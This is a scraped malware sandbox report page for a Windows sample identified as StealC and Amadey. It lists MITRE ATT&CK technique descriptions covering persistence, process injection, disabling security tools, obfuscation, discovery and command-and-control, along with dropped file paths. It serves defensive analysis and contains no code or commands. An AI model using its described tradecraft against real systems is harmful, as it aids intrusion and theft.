Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4qIl08vrFY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\1000115002\6b11689b40.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\ko[1].ps1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Windows Analysis Report
4qIl08vrFY.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre